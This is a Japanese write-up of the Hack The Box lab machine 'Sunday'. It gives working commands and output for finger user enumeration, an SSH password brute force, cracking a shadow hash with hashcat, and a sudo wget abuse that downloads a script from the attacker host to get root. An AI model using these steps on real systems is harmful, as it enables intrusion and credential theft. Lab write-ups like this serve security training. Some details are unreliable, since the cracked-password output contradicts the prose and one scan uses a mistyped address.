Table of Contents
[STEP1] Enumeration: Portscan by Nmap
Nmapにて当該ホスト「10.10.10.76」に対してポートスキャンを実施。
※Nmapのコマンドについて詳しく知りたい方は、以下の記事を参照してください。
nmap -sC -sV -oA sunday 10.10.10.76
root@kali:~/Desktop/htb/lab/sunday# nmap -sC -sV -oA sunday 10.10.10.76 Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-18 03:13 EDT Nmap scan report for 10.10.10.76 Host is up (0.23s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 79/tcp open finger Sun Solaris fingerd |_finger: No one logged on\x0D 111/tcp open rpcbind
- finger(79/tcp)のVersionよりUnixベースのSolarisが動作している。
- finger(79/tcp)はリモートホストに登録されているユーザ情報などを開示する。
他のポートの空き状況を確認するため、フルポートスキャンを実施。
nmap -p- -oA allports.nmap 10.10.0.76 --max-retries 1
nmap -p- -oA allports.nmap 10.10.0.76 --max-retries 1
→ Port 22022でSSHも動作していることが判明。
[STEP2] Enumeration: Finger (79/tcp)
以下のツール「finger-user-enum」を利用して、Solaris finger サービスに対して問合せを行い、登録済みもしくはログインされたユーザを推測する。
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
root@kali:~/Desktop/htb/lab/sunday/finger-user-enum# ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum ) ---------------------------------------------------------- | Scan Information | ---------------------------------------------------------- Worker Processes ......... 5 Usernames file ........... /usr/share/seclists/Usernames/Names/names.txt Target count ............. 1 Username count ........... 10163 Target TCP port .......... 79 Query timeout ............ 5 secs Relay Server ............. Not used ######## Scan started at Sat Apr 18 04:23:40 2020 ######### sammy@10.10.10.76: sammy pts/2 <Apr 24, 2018> 10.10.14.4 .. sunny@10.10.10.76: sunny pts/2 3 Sat 08:51 10.10.14.25 ..
ユーザー「sammy」と「sunny」は、当該ホストにログインしていたことが見受けられる。
[STEP3] Bruteforce over SSH (22022/tcp)
ユーザー「sunny」のパスワードを推測するために、以下のツール「lanjelot」の利用してSSH(22022/tcp)に対してブルートフォースを実施。
時間短縮のため、/user/share/seclists/Passwords配下にある1575行のパスワードリストを利用。
find . -type f -exec wc -l {} \; | sort -nr
root@kali:/usr/share/seclists/Passwords# find . -type f -exec wc -l {} \; | sort -nr 3721255 ./openwall.net-all.txt 3431316 ./Leaked-Databases/md5decryptor.uk.txt --- 1904 ./Leaked-Databases/carders.cc.txt 1575 ./probable-v2-top1575.txt
ユーザー「sunny」のパスワードは「sunday」であることを確認。
patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0
root@kali:~/Desktop/htb/lab/sunday# patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=/usr/share/seclists/Passwords/probable-v2-top1575.txt persistent=0 -x ignore:mesg='Authentication failed.' 04:31:29 patator INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2020-04-18 04:31 EDT 04:31:29 patator INFO - 04:31:29 patator INFO - code size time | candidate | num | mesg 04:31:29 patator INFO - ----------------------------------------------------------------------------- 04:48:40 patator INFO - 0 19 1.402 | sunday | 880 | SSH-2.0-Sun_SSH_1.3
上記の資格情報でSSH(22022/port)にログイン成功。
ssh -p 22022 sunny@10.10.10.76
root@kali:~/Desktop/htb/lab/sunday# ssh -p 22022 sunny@10.10.10.76 Password: Last login: Sat Apr 18 08:51:28 2020 from 10.10.14.25 Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 sunny@sunday:~$ id uid=65535(sunny) gid=1(other) groups=1(other)
[STEP4] Privilege Escalation (linux)
sunnyは一般ユーザーであるため、管理者(root)へ権限昇格させる必要がある。
「sudo -l」により、sunnyは管理者権限で「sudo /root/troll」の実行が許可されていることが分かる。
sunny@sunday:~$ sudo -l
sunny@sunday:~$ sudo -l User sunny may run the following commands on this host: (root) NOPASSWD: /root/troll
次に、参照権限が付与されている「/backup/shadow.backup」の中身を表示して、バックアップされたshadowファイルに記載のsammyの暗号化されたパスワード($5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB)を確認。
sunny@sunday:/backup$ cat shadow.backup
sunny@sunday:/backup$ cat shadow.backup mysql:NP::::::: openldap:*LK*::::::: webservd:*LK*::::::: postgres:NP::::::: svctag:*LK*:6445:::::: nobody:*LK*:6445:::::: noaccess:*LK*:6445:::::: nobody4:*LK*:6445:::::: sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::: sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
以下のhashcatのサイトより、上記パスワードは sha256crypt $5$, SHA256 (Unix) 2(Hash Mode: 7400)でハッシュ化されている。
「hashcat」でハッシュの解析を行う。 hash Mode:7400を指定し、rockyou.txtのパスワードリストを用いる。
hashcat -m 7400 hash /usr/share/wordlists/rockyou.txt --force
root@kali:~/Desktop/htb/lab/sunday# hashcat -m 7400 hash /usr/share/wordlists/rockyou.txt --force hashcat (v4.1.0) starting... -------------抜粋------------- $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:dadof3 Session..........: hashcat Status...........: Cracked Hash.Type........: sha256crypt $5$, SHA256 (Unix) Hash.Target......: $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB Time.Started.....: Sat Apr 18 05:29:14 2020 (10 mins, 4 secs) Time.Estimated...: Sat Apr 18 05:39:18 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
ハッシュ解析の結果、Sammyのパスワードは「cooldude!」であると判明。
攻撃端末(Kali)で別のターミナルを開き、sammyの資格情報を使ってSSHでログインする。
「sudo -l」より、sammyは管理者権限で「sudo /usr/bin/wget」の実行が許可されていることが分かる。
sammy@sunday:~$ sudo -l
sammy@sunday:~$ sudo -l User sammy may run the following commands on this host: (root) NOPASSWD: /usr/bin/wget
攻撃端末(Kali)でbashを起動させる以下のシェルスクリプト「troll」を作成して、python -m SimpleHTTPServerでホストする。
#!/usr/bin/bash bash
SSHでログインしたsammyで「sudo wget 10.10.14.25:8000/troll -O /root/troll」を実行して、先ほど攻撃端末でホストしたシェルスクリプト「troll」をダウンロードして「/root/troll」に出力する。
sammy@sunday:~$ sleep 3;sudo wget 10.10.14.25:8000/troll -O /root/troll
sammy@sunday:~$ sleep 3;sudo wget 10.10.14.25:8000/troll -O /root/troll --10:12:09-- http://10.10.14.25:8000/troll => `/root/troll' Connecting to 10.10.14.25:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 23 [application/octet-stream] 100%[====================================>] 23 --.--K/s 10:12:10 (1.82 MB/s) - `/root/troll' saved [23/23]
SSHでログインしたsunnyで「sudo /root/troll」を実行することで、管理者権限「root」でbashの起動に成功する。
sunny@sunday:~$ sudo /root/troll
sunny@sunday:~$ sudo /root/troll root@sunday:~# id uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)